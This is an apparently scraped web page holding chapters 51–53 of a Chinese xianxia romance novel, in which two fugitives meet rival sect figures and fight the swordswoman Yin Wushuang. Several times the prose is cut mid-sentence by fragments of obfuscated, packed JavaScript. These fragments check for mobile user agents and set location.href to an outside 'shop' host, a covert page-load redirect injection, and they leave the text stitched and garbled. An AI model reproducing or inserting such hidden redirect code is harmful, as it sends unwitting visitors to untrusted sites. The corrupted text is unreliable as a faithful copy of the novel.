l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352219|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驰。 而快要赶到那处密道入口的破损结界的时候,他们的脚步却齐齐一顿,如同被钉在了原地。 只见那里堵着一个青色摇曳的身影,闲适地坐在一边的巨石之上,而先行一步的花阿一满脸惧色,背上还背着诉心剑,整个人抖如筛糠,连抬头的勇气都没有。 那人察觉到两人的脚步,他缓缓转头一看。 是许久不见的灵枢。 他的气色比之前好了太多,身上似乎也长了点肉,不再是那副瘦骨嶙峋、仿佛风一吹就倒的模样,面色红润,眼尾微微上翘,乍一看去是个不染尘俗的清冷美人,可此刻他的脸上,却带着极度浓艳、近乎妖异的笑意。 他手上随意把玩着断不义,眉梢轻轻一挑,目光落在气喘吁吁的二人身上,语气轻慢: “来了啊——” 灵枢缓缓起身,动作依旧摇摇晃晃,脚下虚浮得很,伸手扶了花阿一才算站稳。花阿一被他指尖碰到的刹那,瞬间眼珠上翻,嘴巴张得老大,僵在原地无声尖叫,浑身都在发颤。 可灵枢全然不管他,满脸笑意地盯着祁云耀和谢重楼,语气轻慢:“走这么急做什么?不等我吗?” 说着,他像是浑身没了骨头支撑,用断不义拄在地上,身子风情万种地歪斜着,眼底却藏着冷意。目光先扫过祁云耀,紧接着转向谢重楼,神色里分明带上了毫不掩饰的不屑与挑衅。 “天盟地宗的人都来了,交出你们,便能保我药王谷平安。” 他话音落下,便摇摇晃晃地朝二人靠近。 “明明毒是你下的!”祁云耀立刻将谢重楼牢牢护在身后,周身气息紧绷,满是警惕。可谢重楼却轻轻拉下他的手,转而与他十指紧扣,掌心的温度安稳地传来。 也是这时,祁云耀盯着灵枢不断靠近的身影,脑中忽然闪过一个念头:他走路怎么一直摇摇晃晃?原先只当是故作风情摇曳,可此刻靠得近了才赫然发现,根本不是那么回事——他的腿有疾! 祁云耀心里瞬间了然,正准备猛地发力将人掀翻,趁机拖着谢重楼往密道跑,却不料灵枢在离他们几米远的地方骤然停住,不再上前。 他目光微眯,视线自始至终都没从谢重楼身上移开过。 谢重楼也坦然与他对视,神色平静。几息过去,祁云耀心头越发发紧,生怕身后的追兵转瞬即至,就在这时,灵枢忽然对谢重楼开口: “你上来几步吧,我有东西要交给你。” 谢重楼乖顺地便要上前,祁云耀急忙想拦,却又被他轻轻拉下手。谢重楼安抚地拍了拍祁云耀的手背,眼神温和,随即听话地朝灵枢走去。 “是左边还是右边呢?”只听灵枢皱着眉,像是在踌躇什么,不等祁云耀二人反应过来,他便轻轻叹了口气,“算了,随便吧。” 话音落下的瞬间,他猛地提起断不义,握着剑柄狠狠一挥,重重击中谢重楼的肩膀! 谢重楼毫无防备,踉跄着应声倒地,溅起一地尘土。 “呼——” 灵枢一击得手,丝毫没有恋战的意思,想来他全身力气,也只够支撑这一次攻击。他将断不义猛地插回地里,撑着身子,看着祁云耀疯了一般冲上前,将谢重楼从地上扶起来,面色不善地死死盯着自己。 他却懒得理会,只是招手喊花阿一过来。花阿一两腿打战,抖如筛糠地贴到他身边。灵枢抬手一挥,将断不义丢回谢重楼手里,随即依靠着花阿一,抱臂又盯着二人看了片刻,随后冷嗤一声,翻了个大大的白眼,自顾自摇摇晃晃地往药王谷的方向走去。 花阿一见状,连忙将二人的包袱放在地上,不敢多留,快步追了上去。 祁云耀和谢重楼还没从这突如其来的一击里回过神,就听见灵枢懒洋洋又带着十足傲慢的声音飘了过来:“你很像我的一个故人,按理来这么多年相处我应该会稍微喜欢你一点,但很遗憾,十年了,我还是很不喜欢你!” 祁云耀紧紧扶着谢重楼,眉头紧锁,实在想不通灵枢此番究竟是何用意,忍不住扬声问道:“你还回去做什么?” “当然是——”前方那道摇晃的青衫身影顿了顿,语气轻快,就像是终于看见曙光的人,声音里带上了笑,“清理门户啊!” 51. 兰泽 按照祁云耀的打算,他会带着谢重楼先往西门避避风头。 一来西门离药王谷不算远,二人能快速藏匿,不必在荒郊野外游荡,大大降低被追兵抓到的风险;二来,方才围剿的人群里他也仔细看过,西门的队伍里几乎全是陌生面孔,想来大哥和小妹应当是把他还活着的消息悄悄传了回去,爹娘那边,应当是默许他跑回家的,再多带一个谢重楼,应当也无碍…… 他们不敢御剑凌空,怕气息被天机阁的器物捕捉,只能靠着双腿,一路往北,往西门方向慢慢挪动。祁云耀给自己和谢重楼都做了细致的伪装:把谢重楼眉心那枚标志性的金痣仔细遮盖,又给自己贴上一缕假胡须。这般模样,任谁看了,都只会当是一对游历江湖的普通叔侄,绝不会往尧云、谢重楼这两个被通缉的人身上想。至于诉心与断不义,则被他小心翼翼收进了花秽芳给的特殊储物袋中,半点气息都不外泄。 在距离西门还有四百里的一座小镇上,两人寻了家热闹的客栈,暂时歇脚。 他们没有进僻静的包厢,而是就坐在一楼大堂,混在熙熙攘攘的人堆里。祁云耀一面敏感地打量着周遭来往的行人,一面支棱着耳朵,仔细听着旁人的议论,从中捕捉关于药王谷、关于谢长泽的消息。 不远处的一桌客人聊得兴起,嗓门大得几乎要掀飞屋顶,话语一字不落地钻进祁云耀耳中。 “还是我说得对!我就说谢掌门做不出来手刃至亲的事情,肯定是找了个由头把那余孽先关押起来,结果反被那厮暗算,还让人给跑了!” “妇人之仁!真是妇人之仁啊!” “哎哟,谢掌门可不是那种绝情绝义的人,心里有点私心,不也算正常吗?” …… 逃跑的这几日,两人在大大小小的酒楼茶肆里歇脚,也大概将天盟地宗突然围困药王谷的缘由探查清楚了。 大致是谢长泽为了祭奠恩师谢青,举办了一场盛大的祭奠典礼,诚邀各宗门掌门一同前往青云剑庄。可他却在典礼正盛之时,突然当众呕血,剑庄医师一番探查,断言是中了毒。不知怎的,消息一转再转,竟传出了谢重楼根本没死、被诡医花秽芳收留窝藏在药王谷的说法。 诸位掌门一合计,当即下令,由天盟地宗牵头,直接围了整个药王谷。 乍一听闻这些说辞,祁云耀心里只觉得太过巧合,巧合得近乎刻意。灵枢谋划这么多年,心思缜密至极,就算他真要对谢长泽下手,也绝不该选在众目睽睽的祭奠大典之上,这无异于自曝。 而且如今谢长泽病危,性命垂危,灵枢却安安稳稳回到了药王谷,他最担心的围谷之事,也果真发生了。可他之前口中所说的“屠谷”,又究竟是何时的事? 祁云耀脑子里乱糟糟一片,满脸愁色,忍不住轻轻揉了揉眉心。再抬眸一看,谢重楼却像个没事人一般,正一勺一勺,慢悠悠地喂着自己喝小甜水。 这家客栈的酒糟团子做得极好,甜香浓郁,谢重楼似乎极爱这种甜腻的滋味。从前在西门的时候也是如此,每次来找他,都要缠着去吃糖水铺子的甜汤,曾经一度,祁云耀还在心里暗暗吃味,琢磨着这人究竟是来见他,还是单纯来吃糖水的。 思及那些年少旧事,祁云耀心头的愁绪稍稍散去几分,不由得轻轻笑了笑。 谢重楼惊疑地抬头,黑眼珠左右飞快扫了一圈,随即凑近,用只有两人能听见的声音,悄声道:“有人在盯着我们哦~” 祁云耀闻言面色骤变,浑身肌肉瞬间绷紧,正要起身戒备,嘴里却忽然被塞进一颗软糯的酒糟团子。 谢重楼慢悠悠咀嚼着,语气毫不在意:“不过他们挺弱的,没关系,我们跑得掉的。” 几乎是他话音落下的刹那,两道稚童略显尖锐的欢呼声,便在耳边骤然炸开。 “大哥哥,又见面啦!” 祁云耀浑身一僵,他方才凝神戒备,竟完全没有察觉到有人靠近!而谢重楼只是淡淡抬眸瞥了一眼,便又低下头,继续专心致志对付碗里的酒糟团子,仿佛什么都没发生。 两道小小的身影动作整齐划一,分别蹭到了两人身边坐下,几乎是同步地眨了眨眼睛,然后脸上挂起一模一样的甜笑。 谢重楼被身边的小童挤得皱了皱眉,不动声色地往另一侧挪了挪。可坐在他手边的小童却立刻又贴了上去,脸颊软软地蹭着他的手背,两人竟同时开口,声音软糯又亲昵: “你有没有想念阿和/阿璟啊?” 说着,阿和与阿璟同步转头,齐刷刷看向祁云耀。 祁云耀脸上的假胡子都快被惊得掉下来,心跳骤然加速。而谢重楼依旧是那副波澜不惊的模样,只是用手肘轻轻推了推身边的阿和,语气平淡:“你过去一点,你挤到我了。” “唔——”阿和乖乖地挪开稍许,随即又仰起头,亮晶晶的眼睛盯着祁云耀,认真道:“掌门在等你们呢!” “你们能跟我们上去见一见掌门吗?”阿璟立刻接上,语气同样乖巧,却带着不容拒绝的意味。 两个小童眼睛亮晶晶的,眉眼间的神态、说话的语气,甚至细微的小动作都如出一辙。莫名地,祁云耀心头猛地一跳,一股极其微弱却异常熟悉的感觉,缓缓浮了上来。 他们终究还是跟着两个小孩上了楼。毕竟若对方真想动手抓人,早就派人将这里团团围住,何必只叫两个稚童前来。 阿和与阿璟小手拉在一起,蹦蹦跳跳地在前面引路,祁云耀也紧紧牵着谢重楼跟在后方,目光一瞬不瞬地盯着两个小童交握的手,心底那股莫名的熟悉感再次翻涌上来。 先前还未细想,此刻仔细打量,只觉得这两个孩子与药王谷里那些成双成对的人偶如出一辙。花秽芳曾说过,谷中人偶是融了某对半仙的仙缘,若这对半仙便是阿和与阿璟,那花秽芳与风幕卿之间,又藏着怎样的关联? 他幼时便听过药王谷与玉虚仙宗素来不和的传闻,虽未曾亲眼见证,可这么多年来,两派掌门几乎老死不相往来。花秽芳与风幕卿暗中接触,灵枢当真知晓吗?又或是,因为灵枢先与谢长泽勾结,才逼得花秽芳转而投靠风幕卿? 思绪纷乱间,两个小童已在一间客房门前停下,转身示意二人进去。 客栈房间并不算宽敞,祁云耀刚一推门,便看见风幕卿坐在一张与他满身华贵衣袍格格不入、显得朴素寒酸的椅子上。一旁小桌上,静静摆放着一把熟悉的长剑——兰泽。 风幕卿一见他们进来,苍白的面容上,竟难得扯出一抹真心实意的笑意,驱散了些许终年萦绕在周身的病气。他的目光径直掠过满脸戒备的祁云耀,落在面无表情的谢重楼身上,眉头微蹙,淡淡开口:“上次见你,似乎要高一些?” 谢重楼全然没理会他,仿若未曾听见,眼神直愣愣的,显然不明白为何要上来见这个人。 眼见风幕卿的神色骤然一僵,眼底隐隐泛起怒色,祁云耀连忙上前解释:“重楼被人暗害,失了记忆,才变成现在这副模样。” 风幕卿眉峰一挑,尽管祁云耀并未明说谢重楼是遭谢长泽所害,他却依旧语气笃定地维护:“我家孩子不会做这种事。他若真想赶尽杀绝,谢重楼活不到现在。” 祁云耀闻言双目一瞪,怒火瞬间冲上心头,刚要张口辩驳,却见风幕卿已经别过脸,轻而稳地拿起桌上的兰泽,微微起身,脚步缓慢地朝二人走来。一头如雪白发,在略显昏暗的屋内,竟泛着淡淡的光晕。 他在谢重楼面前站定,脸上重新挂起温和的笑意,不由分说地轻轻捉起谢重楼的手,语气柔缓:“我知你才是真正的剑骨。帮前辈一个忙,替我听听兰泽在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17360607|196908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说什么,好吗?” 祁云耀原本还紧绷着身子警惕,闻言后,阻止的动作却骤然停下,也跟着一瞬不瞬地盯着谢重楼。 兰泽是风幕卿传给谢长泽的佩剑,谢长泽感念恩师,即便自身不擅剑道,也日日将它佩在身边。若真想查清什么蹊跷,从兰泽入手,无疑是最直接、也最稳妥的办法。 谢重楼看了看风幕卿,眉头轻轻皱起,像是耳边先一步缠上了什么细碎的声响,下意识捂了捂耳朵,片刻后才松开,将兰泽小心翼翼地贴在耳畔,仔仔细细地听着。 过程中他时不时蹙紧眉,小声咕哝:“太长了,我听不懂。”说完又安静下去,继续凝神倾听。 自始至终,他身边的两人都极有耐心地等着,没有半分催促,只等着这把活了多年的灵剑,说出那些被掩藏的真相。 良久,谢重楼才将兰泽递还给风幕卿,语气平淡无波:“兰泽是个老爷爷,他说他快死了,他对不起你,没有保护好公子。” 风幕卿接过兰泽,指尖轻轻摩挲着剑鞘,低低轻叹一声:“还有吗?” “他说小公子还活着,但是很痛苦。” “原是这样。” 风幕卿神色惆怅,又是一声长叹,转身坐回椅子上,像是浑身力气都被抽走了几分,抬眼看向二人:“你们应当知晓,天盟地宗为何会突然围捕你们了。” 谢重楼当即茫然摇头,祁云耀却沉声道:“谢长泽中毒了。” “果然没把真正的消息传出来吗?”风幕卿轻笑一声,语气里听不出喜怒,“长泽在祭典上忽然呕血晕倒,前去诊治的医师断言是中了奇毒,紧接着,灵枢那疯子就突然叫嚷,说谢重楼根本没死,而是被花秽芳窝藏在药王谷。真是条疯狗,发起疯来,谁都咬。” 他话音刚落,祁云耀立刻甩锅给灵枢,开口辩解道:“毒是灵枢下的。” “不重要了。如果不是太贪吃,就算里面有刀子不也割不到嘴么?”风幕卿语气懒散,仿佛全然不关心谢长泽的生死,末了,像是忽然想起什么,眼神微沉,与他先前的默然截然不同,“我也该回去了,不然长泽醒来,万一身边守着的是那疯子可就不好了。” 说着,他便从椅子上缓缓起身,步履轻缓地朝门外走去。 风幕卿路过二人身边时,脚步忽然一顿,像是难得起了几分好心,淡淡提醒:“西门并不算是个好去处,祁门主和祁灵昭都不在,如今坐镇的是你父兄,他们保得住你们么?” 祁云耀心里猛地一惊,脸色微变。不等他说些什么,就听风幕卿继续慢悠悠道:“实在走投无路,不如来玉虚仙宗。毕竟也算半个长辈,看着后辈去送死这种事,还是于心不忍……” 话音落下,他脚步不停,推门带着阿和与阿璟,径直离开了房间。 祁云耀望着三人离去的背影,心头隐隐浮起一丝不对劲,可还没等他细想,身边的谢重楼已经轻轻拉了拉他的衣袖,低声道:“我们快走吧。” “怎么了?”祁云耀立刻回头,语气急切,还以为他察觉到了追兵的气息。 却见谢重楼脸色微微发白,有些难受地解释:“断不义和诉心从刚才开始就很吵,再待在这里,我的耳朵要坏掉了。” “什么?”祁云耀十分惊讶,不过他是讶于两把剑明明收在储物袋里,竟然还能和谢重楼说话? 谢重楼却又不知道第多少次曲解了他的话,平静地想了想,一字一句转述道:“没名没分装什么长辈?勾栏做派的狐狸精——嗯,断不义是这么说的。” 他说这话时脸上表情丝毫未变,语气更是常有的平静无波。 祁云耀听得太阳穴突突直跳,再也没心思琢磨风幕卿的话,当即一把拽住谢重楼的手腕,拖着人飞快离开了这间风幕卿待过的房间,一刻也不敢多留。 52. 无双 两人从小镇出发后便一路加快了脚步,祁云耀总觉得风幕卿最后那番话意有所指——像是在暗示谢长泽随时可能醒转,他们必须赶在对方重新掌控局面之前,先躲进西门,再设法将真相传出去。 说实话,他到现在脑子还是乱的,从十年前那桩惨案开始就没理清过。他急需一个绝对安全的地方落脚,把脑海里纷乱的线索一一梳理,揪出藏在最深处的真相。 自从确认谢重楼没死,一个大胆的猜测就一直在他心头盘旋:谢青或许根本不是谢重楼杀的,动手的人是谢长泽。 可这个念头刚冒出来,他又迟疑了——谢长泽剑术不精。但下一秒他就狠狠推翻了自己的犹豫:万一,万一那都是装的呢?他从未亲眼见过谢长泽真正拔剑,所有“剑术不精”的说辞,都来自谢长泽自己和谢重楼,谢重楼的性子又是只要是相熟的人说什么,他就信什么。 更何况,他早就觉得谢长泽身上透着诡异。当初在青云剑庄,他就亲眼见过谢长泽发疯的模样。 从前年纪小,又被对方伪装得太好,只当他是温润君子,可如今回想,世人都说风幕卿不是真君子,那一个彻头彻尾的伪君子,又怎么可能养出一个毫无心机的真君子? 思绪纷乱间,两人已经踏入西门边境。 可刚一穿过宗门结界,两人脚步同时一顿。祁云耀只觉得心头莫名一紧,像有根细刺扎在那里,而谢重楼的反应却激烈得多,全然不顾两人事先定下的路线,慌不择路地拽着他就遁入旁侧小道,一头扎进山林,在林间左冲右突,像是在躲避什么极度危险的东西。 “怎么了?”祁云耀沉声问道。 谢重楼脚步猛地一顿,耳尖微动,当即拽着他往另一个方向狂奔,语气认真又凝重:“我们被人发现了,有人在追我们。” 末了,他眉头紧紧皱起,判断道:“很强。” 祁云耀心头一沉,只当天盟地宗的追兵已经先一步赶到,当即反握住谢重楼的手,带着他钻过茂密的灌木,往一条更隐蔽的小径逃去。 而就在他们钻入灌木丛的片刻后,方才两人站立的地方,落下一道修长倩影。来人腰佩双剑,面容冷峻,目光落在二人逃跑时不慎撞落的树枝上,没有丝毫犹豫,抬步也追进了密林深处。 两人在林间仓皇乱窜,祁云耀仗着对西门地形还算熟悉,勉强拖着谢重楼没被追上,可掌心被攥住的手却越收越紧。他回头一看,谢重楼眉头已经拧成死结,脸上是从未有过的凝重。 见祁云耀转头,谢重楼试探着开口:“不然把剑拿出来吧,我也很强的,可以应付。” 祁云耀几乎没有犹豫,立刻从储物袋里取出诉心和断不义。两人脚步仍在往前冲,可谢重楼却猛地顿住,身形骤然转向。 “铮——” 断不义出鞘,寒光一闪,他横剑挡在身前,目光锐利而认真:“跑不掉了,正面打吧。” 祁云耀脚步一顿,也将诉心掣在手中,心里正疑惑——压根没听见追兵的动静,可下一秒,一道身影便从头顶树上骤然落下,稳稳站在两人前方不远处。 是尹无霜。 祁云耀心头一紧,下意识小声问了一句,谢重楼微微点头,语气笃定:“只有一人。” 祁云耀心头发慌,他其实更宁愿遇到的是天盟地宗的追兵。别人不清楚,可天机阁的来人他可是清清楚楚看清了是肖严谨,虽说肖严谨之前没认出他,但到了西门地界,真要细查,认出他来也只是时间问题。到时候只要肖严谨那边稍有迟疑,他也能趁着空隙带着谢重楼突围逃窜,可如果是尹无霜的话,那就真的危险了。 先不说他之前在西门作天作地闹得那一通,落了尹无霜多少面子,单是曾经“天下第一剑”的名头,就足够他们两个拼尽全力去招架。 她即便当年被谢重楼打败,但十年过去,修为剑术肯定也是精进不少,更何况谢重楼现在还失了忆,当年那些精妙招式究竟还记得多少,谁也说不准。 他强压下心中的焦灼,目光飞快地四处打量,拼命寻找着能够趁机逃跑的机会。 三人就这样僵持对峙,尹无霜看着眼前的两人,面上却露出了真心实意的一笑,主动开口打破沉默:“前段时间灵昭说会离开西门一段时间,托我来替她们照看西门,原本还以为是什么小题大做,没想到竟然真的出事了。” 她的眼睛在二人之间缓缓流转,又补充道:“还见到了故人。” 末了,她专门在祁云耀的身上仔细打量了一番,最后才说道,“其实当时就觉得你很熟悉,不过问灵昭,她一口咬死你在西门,于是就没往那方面想,没想到竟然长这么大了。还有——” 她话锋一转,目光落在谢重楼身上,语气里多了几分迟疑:“重楼怎么变成这样了?” 眼看她并没有一上来就要动手抓人的举动,而且也是受灵昭所托前来,祁云耀心里顿时有了计较,于是试探着为谢重楼辩解道:“他被人暗害失忆了,而且谢长泽中毒的事情,真的不是他做的。” 尹无霜闻言后没有言语,只是定定地盯着谢重楼,眼神复杂难辨。 忽然,毫无防备地,她腰间双剑猛地同时出鞘,身形快得惊人,几乎只是眨眼的功夫,便已飞掠至近前,双剑直逼谢重楼要害! 祁云耀眼见此状,心头骤紧,连忙提剑上前阻挡。 “噌!” 一声刺耳的金石碰撞之声在耳边轰然炸开,他几乎是使出了全身的力气,才勉强接下尹无霜这看似轻飘飘的一击。尹无霜看上去身姿轻盈,力道却大得吓人,祁云耀虎口和手腕被震得发麻,疼得龇牙咧嘴,反观尹无霜,却是面容平和,脸上的笑意丝毫未减。 她飞快收起其中一剑,而后脚尖轻点诉心剑身,借力轻盈一跃,身形如惊鸿般翻至祁云耀身后,身影灵巧一转,另一把长剑已然直指他的后心,就在剑尖即将没入后背的刹那,一道玄黑剑影骤然插入,轻轻一挑,竟将尹无霜连人带剑一并挑飞出去数米远。 足尖落地时,她顺势向后滑出两步,脚掌在地面踏出两道沟壑,才勉强稳住身形,几乎是落地的一瞬,尹无霜脚尖再次轻点地面,身形转瞬又贴至近前,速度较之前更快,剑招也愈发凌厉,双剑交替挥舞,剑影层层叠叠,宛如鬼魅。 谢重楼手掌轻轻一推,将祁云耀护到自己身后,然后提剑径直迎了上去。 一时间,剑影交错,寒芒乱闪,金石相击声尖锐刺耳。两人的身影快得只剩残影,飞速缠斗着,衣袂翻飞间,只隐约能看到两道身影一攻一守,你来我往,招招致命。 谢重楼长剑竖劈而下,势大力沉,直压尹无霜面门,而尹无霜身形轻旋,剑刃擦着她的衣摆。不等谢重楼收招,她身形一晃,转瞬绕到谢重楼身后,双剑齐下,剑尖直指他脖颈,招式狠辣。 谢重楼似有察觉,手腕急转,长剑反手后挑,堪堪拦截住双剑,剑刃相撞的瞬间,他借力旋身,再次迎上,手臂微下沉,显然是被那股力道震得吃力。 在谢重楼的有意引导下,两人的缠斗身影渐渐远离了祁云耀,可他站在原地,看得却是心惊肉跳。 谢重楼现在根本不敌尹无霜,尹无霜的剑招看似轻盈,却招招暗藏杀机,而谢重楼的招式虽依旧凌厉,却带着十足的生涩,显然是失忆后对招式有所生疏,有好几次格挡都显得勉勉强强,险之又险——有一次尹无霜的剑尖几乎就要刺中他的肩头,全靠他下意识的侧身才堪堪躲过,衣料被剑尖划破,留下一道浅浅的血痕。 祁云耀看得心头一紧,他清楚,若是尹无霜眼里的杀心再重一些,没有半分迟疑,谢重楼此刻恐怕已经是必死无疑。 而谢重楼的战败只是时间问题。 念头刚起,“铮——”的一声脆响骤然炸开,谢重楼手中的断不义被尹无霜的剑狠狠挑飞,剑身在空中划出一道玄黑弧线,重重扎进不远处的树干里。 谢重楼脸上满是错愕,还未反应过来,尹无霜手中另一把剑已寒光直指他的面门,速度快得让他根本来不及躲闪。 祁云耀目眦尽裂,提着诉心剑拼尽全力往前冲,心脏像是要跳出胸腔,可距离太远,根本来不及阻拦——下一瞬,剑尖便已触及谢重楼的脖颈,剑风扫过,让谢重楼浑身一僵。 可就在这千钧一发之际,尹无霜忽然收剑了。 她轻轻后退几步,目光一瞬不瞬地盯着谢重楼,眉头紧紧皱着,语气里满是惋惜与怅然,声音低沉:“怎么会都变了呢?变得我都不认识你们了……” 祁云耀踉跄着站定在两人中间,胸口剧烈起伏,气喘吁吁,紧紧握着诉心剑的手还在微微发抖,深怕尹无霜再度发难。可没想到,尹无霜竟彻底收起了双剑,脚步一转,就要转身离开,只留下一句话: “你祁门主和灵昭去了禅宗,归期不定,在此期间我会守住西门。你们进去后就找地方躲起来吧,今天就当我们没见过。” 祁云耀心里猛地一紧,像是被一只无形的手攥住了心脏,酸涩与愧疚瞬间涌上心头。 他望着尹无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祁云耀闻言先是一愣,脑子还没反应过来,身体就已下意识地从怀里掏出那本蓝色封皮的册子,递了过去。他还没来得及问清楚谢重楼要这本册子做什么,就见谢重楼接过册子,转身直直地递到了尹无霜面前。 祁云耀伸手去拦,却已来不及——尹无霜带着满心疑惑接过册子的瞬间,那本他们两个翻来覆去、用尽办法都无法打开的蓝皮书册,像是终于找到了真正的主人,竟“哗啦”一声,自动翻转开来。 先前它始终紧紧闭合,仿佛被无形的力量锁住,此刻却因为里面被塞了太多密密麻麻的纸页,再也支撑不住,近乎爆炸般地铺展开来。 祁云耀阻止的手僵在半空,转头便看见尹无霜的目光瞬间呆滞,死死盯着眼前飞速翻过的纸页,那颗在眼眶里打转了许久的泪珠,终于“啪嗒”一声,重重砸在了泛黄的纸页上,晕开一小片湿痕。 她的眼泪瞬间决堤,一颗颗顺着脸颊滚落,砸在地上,也砸在那些纸页上。心里翻涌着汹涌的难过,却又生怕弄坏这本册子,只是小心翼翼地捧着,指尖轻轻抚过纸页上的字,眉头紧紧皱着,声音哽咽地问道:“这……这本册子,你们是从哪里来的?” 谢重楼下意识转头看向祁云耀,手指捏了捏他的衣袖,语气里带着几分不易察觉的辩解意味:“是云耀的,我只是觉得,册子上有和你很像的气息,所以才拿给你的。” 尹无霜的目光立刻转向祁云耀,眼底满是急切与期盼。祁云耀犹豫了片刻,终究没有隐瞒,将自己当初如何捡到这本蓝皮书册的经过,从头到尾、一五一十地说了出来。 尹无霜听闻此言后,非但没有平静,反而哭得更加伤心,肩膀微微颤抖着,连声音都变得断断续续,泪水模糊了她的双眼,却依旧死死捏着怀里的册子。 她张了张嘴,似乎还想问些什么,想追问册子背后更多的过往,可哭声却骤然一顿,脸上的悲伤瞬间被警惕取代。与此同时,谢重楼的面色也微微一变,耳尖微动,显然也察觉到了什么。 尹无霜连忙用手背擦干净脸上的泪珠,语气依旧哽咽,却多了一种祁云耀从未见过的凝重决绝:“有人闯入西门结界了,气息很杂,应该是天盟地宗的人。你们先找地方躲起来,别露面,我处理完就去找你们。” 说着,她小心翼翼地将那本蓝皮书册收进自己的储物袋,紧紧护好,再抬眼时,眼底满是真诚,对着二人轻轻说道:“谢谢你们,把这本册子还给我。” 话音未落,她身形一晃,化作一道残影,飞快掠走,转瞬便消失在了密林深处,只留下祁云耀和谢重楼站在原地。 53. 双修 两人继续往主城方向赶,脚步一刻不停。谢重楼试探着将手牵到祁云耀手上,见对方没有甩开,心里悄悄松了口气,旋即又把手指攥得更紧了些,偷偷观察着祁云耀的脸色。见他只是面无表情地往前赶路,谢重楼不由得越发心慌,小声问道:“你生气了吗?我把你的东西给了别人……可是那真的不是我的东西,上面有别人的气息。” 祁云耀像是终于回过神,转头看了他一眼。眼见那副小心翼翼、又带着点委屈的模样,心里那团乱麻似的纠结瞬间就散了。 他笑了笑,反手回握住那双微凉的手,语气平静自然:“我只是在想别的事情,没有生气。快走吧,早点到主城,主城里有家糖水铺子,你肯定很喜欢。” 谢重楼乌溜溜的眼珠转了转,脸上的犹疑一扫而空,脚步也轻快了几分。 祁云耀并不是不信他的话。事实上,在那本册子炸开的一瞬间,他就已经明白,这东西的确不是谢重楼的。册子里面的内容,比他之前瞥见的要多出太多,绝不是同一个人的手笔。 可如果这本册子不是谢重楼的,那就只能是另一个人——谢长泽。可若真是谢长泽写给尹无霜的,又怎么会落在那个地方? 他方才在林间,其实已经隐隐抓住了脑海中那团混乱的源头,只差一点就能理清,却被谢重楼打断。此刻再回想,非但不觉得烦躁,思路反而越发清晰。 其实还有一种可能的,一种他之前从未敢深想的可能。 如果当年在谢重楼弑师的那一天,谢长泽就已经化作金水、彻底死了。 只要,现在活着的这个“谢长泽”不是谢长泽本人的话,一切也是都说得通的…… 所以——“他”是什么东西? 两人刚靠着以假乱真的假符篆进入西门主城,便齐齐察觉到不对劲——城中混杂的气息实在太乱,空气里弥漫着一股诡异的凝重,往日热闹活络的市集,此刻竟显得压抑沉闷。 二人没有直接回家,而是转去了离门派两条街的一家茶肆。脸上的伪装尚未卸下,店家并未认出祁云耀,只按寻常客人招待。 祁云耀落座后,故作疑惑地向店家问道:“城中是出了什么事吗?怎么这般死气沉沉的?” 西门向来民风淳朴,加上祁云耀一口地道的本地口音,店家也没多想,三言两语便把这几日发生的事和盘托出。 自与尹无霜分别,不过才过去两天,而尹无霜却失败了,没能拦住天盟地宗的人。可来的这批人却古怪得很,统共也就十几号人,竟没一队是真心来办事的: 玉虚仙宗来的是阿和阿璟,两个小孩一到就甜甜地夸尹无霜,一左一右粘着她,半点搜查的意思都没有; 天机阁的代表是夏阳,他更是没半分正经心思,反倒兴致勃勃地打量起西门的宅邸,最后兴冲冲去找被西门派出来谈判的祁余天交涉,说想租西门外间做自家书馆的新门面,巴拉巴拉说了一堆好处,祁余天压根听不懂,却显然是被家里提前打过招呼,夏阳说什么他都只摇头; 药王谷那边则干脆没人来,听说是花秽芳被抓,谷内忙着处置叛徒,根本没空派人出来协调搜捕; 而禅宗派来的,是两个从未见过的凡人弟子,他们连门都不进,就坐在西门宅邸大门前,整日叨叨叨地念经。 城中气氛之所以这般压抑,最主要的原因便是那两个和尚。据店家说,那两个和尚原本并不是只在门口念经的,而是端着自己的小木鱼,脚步不停地在城中循环游走,所过之处,西门众人都像是脑仁被那木鱼“梆梆梆”地敲击过,一时间城内苦不堪言。 最后众人实在受不了,便去西门门派上报,祁余天这才出面协调,让他们只许在门派内诵经。可那两个和尚却是死活不肯进去,说什么会毁坏了西门的“法”,于是便只坐在门外,从早叨到晚。西门门前原本的小摊贩们早就消失得无影无踪,显然是被他们两个弄出了心理阴影。 简单说,场面要多混乱有多混乱。 好听点叫天盟地宗结伴搜查,难听点,就是一群混子来浑水摸鱼,装装样子好回去复命。 祁云耀心里虽猜不透这群人为何如此行事,却也稍稍松了口气。但他依旧不敢妄动,趁着各方人马都围堵在门派正门,索性带着谢重楼,在城外的客栈先住了下来。 花秽芳最后给的压制炉鼎热的药,已经彻底用完了。 祁云耀能清晰地感觉到,身体各处开始隐隐作痛,尤其是丹田位置,那股灼热感不分昼夜地往上涌,一刻也不肯停歇。经历过最后那次实验,他其实已经隐约摸到了身体变化的脉络——抛开能不能熬过这灼痛不谈,他心里其实已经有了答案:就算不双修,他也不会再因为炉鼎体而死了。只是眼下的灼痛一天比一天剧烈,他已经快要撑不下去。 两人每天都换客栈,从不在同一处久留。二人换住处时,路过了一间立在护城河边的小屋,小屋上面升起袅袅炊烟,显然里面的人家正在做饭。 